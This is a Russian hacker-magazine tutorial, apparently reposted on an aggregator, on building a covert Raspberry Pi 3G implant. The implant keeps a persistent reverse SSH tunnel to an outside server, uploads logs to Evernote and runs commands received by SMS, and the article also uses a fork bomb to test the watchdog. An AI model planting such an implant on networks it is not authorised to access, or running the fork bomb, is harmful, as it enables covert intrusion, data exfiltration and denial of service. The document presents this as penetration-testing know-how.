html текст
All interests
  • All interests
  • Design
  • Food
  • Gadgets
  • Humor
  • News
  • Photo
  • Travel
  • Video
Click to see the next recommended page
Like it
Don't like
Add to Favorites

Маленький британский шпион – закладка на Raspberry Pi

Большой темой майского номера «Хакера» стал Raspberry Pi. Мы пообщались с создателем «малинки», Эбеном Аптоном и узнали, каковы итоги первого года проекта, и что ждет маленький компьютер в следующем. Также мы описали два концепта на основе Raspberry: незаметную закладку, которая в виду размеров может незаметно собирать данные из сети (принимая команды по SMS и скидывая логи в Evernote), а также систему видеонаблюдения, интегрированную с Google Drive. Один из этих концептов мы предлагаем вашему вниманию.





Идея дропбокса проста: если миниатюрный компьютер снабдить батареей и 3G-модемом, то можно получить шпионскую коробочку, которая незаметно подключается к исследуемой сети и передает собранные данные. Этот концепт вполне реализуем на Raspberry Pi.



Забегая вперед, скажу: из-за высокого энергопотребления наш дропбокс хорошо подойдет скорее для работы в собственных сетях. Для чужих ему просто не хватит батареи, но концепт все равно выглядит заманчиво. Все это мы будем делать на базе дистрибутива PwnPi. В нем мы настроим работу с модемом, научимся принимать команды по SMS и отсылать логи в Evernote. В моем распоряжении был 3G-модем Huawei E1550 («Мегафон E1550»).

Переключение в режим модема


Многие 3G-модемы при подключении выглядят как диск для того, чтобы предварительно установить необходимые драйверы, и требуют переключения в режим модема. Модем E1550 — из их числа и изначально недоступен как терминал…

# ls /dev/ttyUSB*
ls: cannot access /dev/ttyUSB11*: 
No such file or directory

Посмотрим на описание USB-устройств:

# lsusb
Bus 001 Device 009: ID 12d1:1446 
Huawei Technologies Co., Ltd. E1552/E1800/E173 
(HSPA modem)

Зато он виден как диск:

# ls -l /dev/disk/by-id/
usb-HUAWEI_MMC_Storage-0:0 -> ../../sda
usb-HUAWEI_Mass_Storage-0:0 -> ../../sr0

Для того чтобы переключить его в режим модема, потребуется установить дополнительную программу и перезагрузиться (другим модемам могут понадобиться другие настройки):

# apt-get update && apt-get install usb-modeswitch 
# reboot

Посмотрим на описание USB-устройства еще раз:

# lsusb
Bus 001 Device 010: ID 12d1:1003 
Huawei Technologies Co., Ltd. E220 HSDPA Modem / 
E230/E270/E870 HSDPA/HSUPA Modem

Видно, что у модема изменился Device ID, и теперь нам стали доступны его порты:

# ls /dev/ttyUSB*
/dev/ttyUSB0  /dev/ttyUSB1




Приветствие баша в PwnPi

Доступ к модему с помощью minicom


Для проверки работоспособности можно попробовать «достучаться» до него, как до обычного модема, с помощью minicom:

# apt-get install minicom
# minicom -D /dev/ttyUSB0

Запросим информацию о производителе модема с помощью AT-команды

ati0
Manufacturer: huawei
Model: E1550
Revision: 11.608.12.10.209
IMEI: < IMEI вашего модема >
+GCAP: +CGSM,+DS,+ES

OK

Выйдем нажатием <Ctrl + A + Q>.

Sakis и UMTSkeeper


Первая программа, которая нам понадобится для настройки 3G-модема, — Sakis3G, сценарий для установления 3G-соединения. Домашняя страница проекта sakis-3g.org уже некоторое время недоступна, но копия скрипта есть на sourceforge. Загрузим ее, разархивируем и разрешим выполнение:

# mkdir ~/3g && cd ~/3g
# wget http://downloads.sourceforge.net/project/vim-n4n0/sakis3g.tar.gz -O sakis3g.tar.gz
# tar -xzvf sakis3g.tar.gz
# chmod +x sakis3g

Доустановим поддержку PPP

# apt-get install ppp

Попробуем установить соединение в интерактивном режиме, указывая необходимые данные.

# ./sakis3g --interactive

Выберем первую опцию, «Connect with 3G», в ответ на следующий запрос выберем «11. Custom APN...». Укажем (данные для Мегафон-Москва):

APN: internet
APN_USER: megafon
APN_PASS: megafon

Если соединение было установлено успешно, выйдем из меню и проверим доступ к интернету:

# ping google.com

Следующая программа, UMTSkeeper (zool33.uni-graz.at/petz/umtskeeper), необходима для автоматического подключения при разрыве связи. Загрузим, разархивируем и разрешим выполнение:

# mkdir ~/3g && cd 3g
# wget http://zool33.uni-graz.at/petz/umtskeeper/src/umtskeeper.tar.gz
# tar -xzvf umtskeeper.tar.gz
# chmod +x umtskeeper

Проверим UMTSkeeper, подставив свои значения в параметры USBMODEM (Vendor ID:Device ID, который виден при вводе команды lsusb) и CUSTOM_APN, APN_USER, APN_PASS, SIM_PIN (данные для подключения к 3G-сети):

# ./umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no'

Проконтролируем работы, открыв журнал в другом окне:

# tail /var/log/umtskeeper.log -f
2013-04-01 10:37:38 Start: interval=4*8s
Internet status:
Modem plugged, not connected to internet.
2013-04-01 10:38:27 Internet connection is DOWN. 
Calling Sakis3G connect...
Sakis3G cmdLine: nice ./sakis3g connect --sudo --console USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'
Sakis3G says...
E1550 connected to MegaFon (25002).
2013-04-01 10:39:20 Testing connection...
2013-04-01 10:39:37 Success... we are online!

Теперь отредактируем /etc/rc.local для запуска при загрузке системы:

# nano /etc/rc.local
/root/3g/umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='CUSTOM_APN' CUSTOM_APN='internet' SIM_PIN='1234' APN_USER='megafon' APN_PASS='megafon'" --sakisswitches "--sudo --console" --devicename 'Huawei' --log --silent --nat 'no' &

И проверим после перезагрузки.



Интерфейс Sakis3G

Reverse SSH


Для удаленного подключения к PwnPi через 3G настроим поднятие Reverse SSH туннеля (для этого нужен сервер с публичным IP).
Чтобы PwnPi подключался к серверу в автоматическом режиме, без ввода пароля, на PwnPi cгенерируем приватный/публичный ключи и скопируем публичный ключ на сервер:

# ssh-keygen
# scp /root/.ssh/id_rsa.pub root@<адрес сервера>:/root/

На сервере (если это Debian) добавим публичный ключ в список авторизованных:

$ cat ~/id_rsa.pub >> ~/.ssh/authorized_keys

Попробуем подключиться к серверу с PwnPi:

# ssh root@<адрес сервера>

Подключение должно произойти без запроса пароля. В случае если пароль все равно запрашивается и подключение с использованием ключей настраивается в первый раз, необходимо задать права доступа к этому файлу (и папке в целом):

# chmod 755 ~
# chmod 700 ~/.ssh
# chmod 600 ~/.ssh/authorized_keys

Теперь установим туннель с перенаправлением портов. Со стороны PwnPi:

# ssh -q -N -R 1221:localhost:22 root@<адрес сервера>

Со стороны сервера теперь порт 1221 ждет подключений, но только на интерфейсе 127.0.0.1:

# netstat -an |grep 1221
tcp  0  0  127.0.0.1:1221  0.0.0.0:*  LISTEN

Со стороны сервера проверим подключение через Reverse SSH, подключившись к локальному порту:

# ssh root@localhost -p 1221

Если все правильно, после ввода пароля пользователя root системы PwnPi мы должны получить доступ к PwnPi. Со стороны сервера разрешим перенаправления портов для всех интерфейсов:

# nano /etc/ssh/sshd_config
GatewayPorts yes

Теперь необходимо, чтобы sshd перечитал конфигурационный файл. Посмотрим, какой у него PID:

# ps aux|grep sshd
...
root  23511  0.0  2.1   9920  5376 ?  Ss   13:09 
0:00 /usr/sbin/sshd
...

И пошлем ему сигнал HUP:

# kill -hup 23511
# tail /var/log/sshd.log

Теперь после установления соединения с PwnPi увидим, что процесс ожидает подключение на всех интерфейсах:

# netstat -an -p |grep 1221
tcp  0  0 0.0.0.0:1221  0.0.0.0:*
LISTEN  	21990/	sshd: root

Создадим сценарий для автоматического запуска и дадим ему права на выполнение:

# nano /root/reverse_ssh_tunnel.sh
#!/bin/sh
USERHOST=root@<адрес сервера> 
RPORT=22 # Порт SSH сервера
FPORT=1221 # Порт, который будет открыт на сервере
CONN=localhost:22   # Порт SSH Listener на PwnPi
COMMAND="ssh -q -N -R $FPORT:$CONN $USERHOST -p $RPORT"
pgrep -f -x "$COMMAND" > /dev/null 2>&1  || $COMMAND
ssh $USERHOST -p $RPORT netstat -an | egrep "tcp.*:$FPORT.*LISTEN">/dev/null 2>&1
if [ $? -ne 0 ] ; then
  echo "Restarting connection" 
  pkill -f -x "$COMMAND"
  $COMMAND
else
  echo 'Connection OK' 
fi
# chmod +x reverse_ssh_tunnel.sh

Добавим строку с указанием запускать каждую минуту в crontab:

# crontab -e
*/1 * * * * /bin/sh /root/reverse_ssh_tunnel.sh


Автоматическое сохранение данных в Evernote


Есть много вариантов для автоматической передачи и хранения данных, от традиционной почты до популярных облачных сервисов, от Google Drive до Evernote. Отправить данные в Evernote можно с помощью утилиты Geeknote (www.geeknote.me):

# wget http://www.geeknote.me/dist/geeknote_latest.deb
# sudo dpkg -i geeknote_latest.deb
# geeknote login

Укажем свои данные для входа в Evernote (необходимо сделать только один раз, если пользователь не изменяется). Создадим новую записную книжку и добавим тестовую запись:

# geeknote notebook-create --title "PwnPi data"
# geeknote create --notebook "PwnPi" --title "Test" --content "Test note" 

Geeknote поддерживает автоматическую синхронизацию текстовых файлов в указанном каталоге с помощью входящей в пакет утилиты gnsync. Для синхронизации ее необходимо запустить со следующими ключами (синхронизируется каталог
/root):

# gnsync --path /root --mask *.log --notebook "PwnPi"


Управление через SMS


К сожалению, работа 3G у нас не отличается стабильностью. Так что в качестве дополнения можно реализовать передачу команд (например, перезагрузки) и уведомлений с помощью SMS с использованием пакета Gammu.

# apt-get install gammu
# gammu-config

В меню установим порт /dev/ttyUSB1 (для 3G был настроен /dev/ttyUSB0). Запросим описание устройства:

# gammu --identify
Устройство : /dev/ttyUSB1
Manufacturer     	: Huawei
Модель     	: E1550 (E1550)
Firmware         	: 11.608.12.10.209
IMEI             	: 351911043904005
Номер SIM (IMSI) : 250026700613366

Можно включить режим мониторинга и попробуем отправить тестовое сообщение:

# gammu --monitor
# echo "test from PwnPi" | gammu sendsms TEXT +7<номер телефона>

Для русского языка (юникодная локаль в PwnPi по умолчанию не выставлена) можно использовать ключ -unicode.



Опции Gammu

Прием SMS


Для получения SMS необходимо установить

# apt-get install gammu-smsd

И указать тот же порт 3G-модема в конфигурации:

# nano /etc/gammu-smsdrc
[gammu]
port=/dev/ttyUSB1

Запустим как сервис и посмотрим журнал:

# gammu-smsd --daemon

# tail -f /var/log/syslog

Входящие сообщения сохраняются в папку:

# cd /var/spool/gammu/inbox && ls
IN20130402_193338_00_+7<номер телефона>_00.txt

Внутри содержится полученный текст SMS. Создадим сценарий для выполнения команд из SMS. В примере ниже, при получении текста 'uptime' отправителю высылается сообщение с результатом выполнения команды uptime:

$ nano smscheck
#!/bin/bash
for file in `ls /var/spool/gammu/inbox`
do
  cmd=`cat /var/spool/gammu/inbox/$file`
  case "$cmd" in
 
  "uptime")
    echo `uptime` > /var/spool/gammu/outbox/OUT+7<номер телефона>.txt
    ;;
  esac
  rm -f /var/spool/gammu/inbox/$file
done


# chmod +x smscheck

Поскольку в папке /var/spool/gammu/inbox уже должны лежать наши тестовые сообщения, запустим этот сценарий и убедимся, что он отправляет нужное сообщение. Добавим его в crontab с периодичностью выполнения одна минута с помощью следующей записи:

# crontab -e
*/1 * * * * /home/pi/smscheck

Перегружаем систему и проверяем работоспособность нашей конфигурации.

Кто следит за следящим


В современных микроконтроллерах может применяться ряд средств, повышающих надежность работы встраиваемых устройств в необслуживаемом режиме. Один из механизмов, предназначенных для этого, — аппаратный watchdog-таймер, позволяющий перезагрузить устройство в случае его зависания. Программа, работоспособность которой должна быть проконтролирована, периодически должна сбрасывать этот таймер. Если она прекратит это делать, таймер превысит пороговое значение, и на на процессор будет подан сигнал сброса. В Linux программное обеспечение поддержки watchdog состоит из двух частей: драйвера watchdog-таймера и watchdog-демонов, контролирующих работоспособность системы в целом.

Watchdog-драйвер


Загрузка модуля драйвера:

# sudo modprobe bcm2708_wdog

Добавление в список автозагружаемых модулей:

# echo "bcm2708_wdog" | sudo tee -a /etc/modules

Watchdog-таймер стартует при открытии устройства. Сброс его осуществляется отправкой любого символа. Символ V отключает таймер. Убедиться в работоспособности можно так:

# cat > /dev/watchdog

Теперь от перезагрузки систему отделяет только ввод строк с клавиатуры (команда cat передает набираемый текст построчно). Ввод символа V с последующим остановит обратный отсчет.

Watchdog-демон


Пакет watchdog состоит из двух демонов: упрощенного — wd_keepalive и основного — watchdog, предоставляющего более широкие возможности. С его помощью можно контролировать не только загрузку системы, но и такие параметры, как объем доступной памяти, доступ к отдельным файлам, доступность узлов по команде ping и ряд других.

# apt-get install watchdog # Установка
# update-rc.d watchdog defaults # Добавление в автозагрузку

Для настройки в файле /etc/watchdog.conf необходимо раскомментировать несколько строк:

# nano /etc/watchdog.conf
watchdog-device = /dev/watchdog 
max-load-1      = 24

Запуск в ручном режиме

# /etc/init.d/watchdog start


Проверка


Наиболее простой способ проверить работоспособность настройки watchdog — ввести в командной строке так называемую fork bomb:

: (){ :|:& };:

Система очень быстро перестанет откликаться и, если все настроено правильно, через несколько секунд уйдет в перезагрузку.

Автономное питание


Raspberry Pi с подключенными и активными адаптерами Wi-Fi (D-Link DWA-140 B2) и 3G (Huawei E1550) потребляет порядка 700―800 мА. Емкость доступных на сегодняшний день достаточно компактных внешних литиевых аккумуляторов достигает 20 ампер-часов, что может обеспечить срок автономной работы до суток. Если рассматривать RPi в качестве просто многофункционального устройства, это очень и очень неплохо; однако ее скрытая установка на более длительное время потребует подключения к внешнему питанию, которым может быть порт USB или электросеть.

Итог


При своей кажущейся несерьезности Raspberry Pi может стать опасным инструментом, хотя высокое энергопотребление ограничивает возможность работы в автономном режиме. Впрочем, ближайшие по функционалу аналоги на сегодняшний день, коммерческие инструменты penetration-тестирования компании PWNIE Express, находятся в совершенно другой ценовой категории.


Впервые опубликовано в журнале «Хакер» от 05/2013.
Автор: Александр Лыкошин, alykoshin@gmail.com, ligne.ru

Публикация на ISSUU.com

Подпишись на «Хакер»




Читать дальше
Twitter
Одноклассники
Мой Мир

материал с habrahabr.ru

4

      Add

      You can create thematic collections and keep, for instance, all recipes in one place so you will never lose them.

      No images found
      Previous Next 0 / 0
      500
      • Advertisement
      • Animals
      • Architecture
      • Art
      • Auto
      • Aviation
      • Books
      • Cartoons
      • Celebrities
      • Children
      • Culture
      • Design
      • Economics
      • Education
      • Entertainment
      • Fashion
      • Fitness
      • Food
      • Gadgets
      • Games
      • Health
      • History
      • Hobby
      • Humor
      • Interior
      • Moto
      • Movies
      • Music
      • Nature
      • News
      • Photo
      • Pictures
      • Politics
      • Psychology
      • Science
      • Society
      • Sport
      • Technology
      • Travel
      • Video
      • Weapons
      • Web
      • Work
        Submit
        Valid formats are JPG, PNG, GIF.
        Not more than 5 Мb, please.
        30
        surfingbird.ru/site/
        RSS format guidelines
        500
        • Advertisement
        • Animals
        • Architecture
        • Art
        • Auto
        • Aviation
        • Books
        • Cartoons
        • Celebrities
        • Children
        • Culture
        • Design
        • Economics
        • Education
        • Entertainment
        • Fashion
        • Fitness
        • Food
        • Gadgets
        • Games
        • Health
        • History
        • Hobby
        • Humor
        • Interior
        • Moto
        • Movies
        • Music
        • Nature
        • News
        • Photo
        • Pictures
        • Politics
        • Psychology
        • Science
        • Society
        • Sport
        • Technology
        • Travel
        • Video
        • Weapons
        • Web
        • Work

          Submit

          Thank you! Wait for moderation.

          Тебе это не нравится?

          You can block the domain, tag, user or channel, and we'll stop recommend it to you. You can always unblock them in your settings.

          • habrahabr.ru
          • домен habrahabr.ru

          Get a link

          Спасибо, твоя жалоба принята.

          Log on to Surfingbird

          Recover
          Sign up

          or

          Welcome to Surfingbird.com!

          You'll find thousands of interesting pages, photos, and videos inside.
          Join!

          • Personal
            recommendations

          • Stash
            interesting and useful stuff

          • Anywhere,
            anytime

          Do we already know you? Login or restore the password.

          Close

          Add to collection

             

            Facebook

            Ваш профиль на рассмотрении, обновите страницу через несколько секунд

            Facebook

            К сожалению, вы не попадаете под условия акции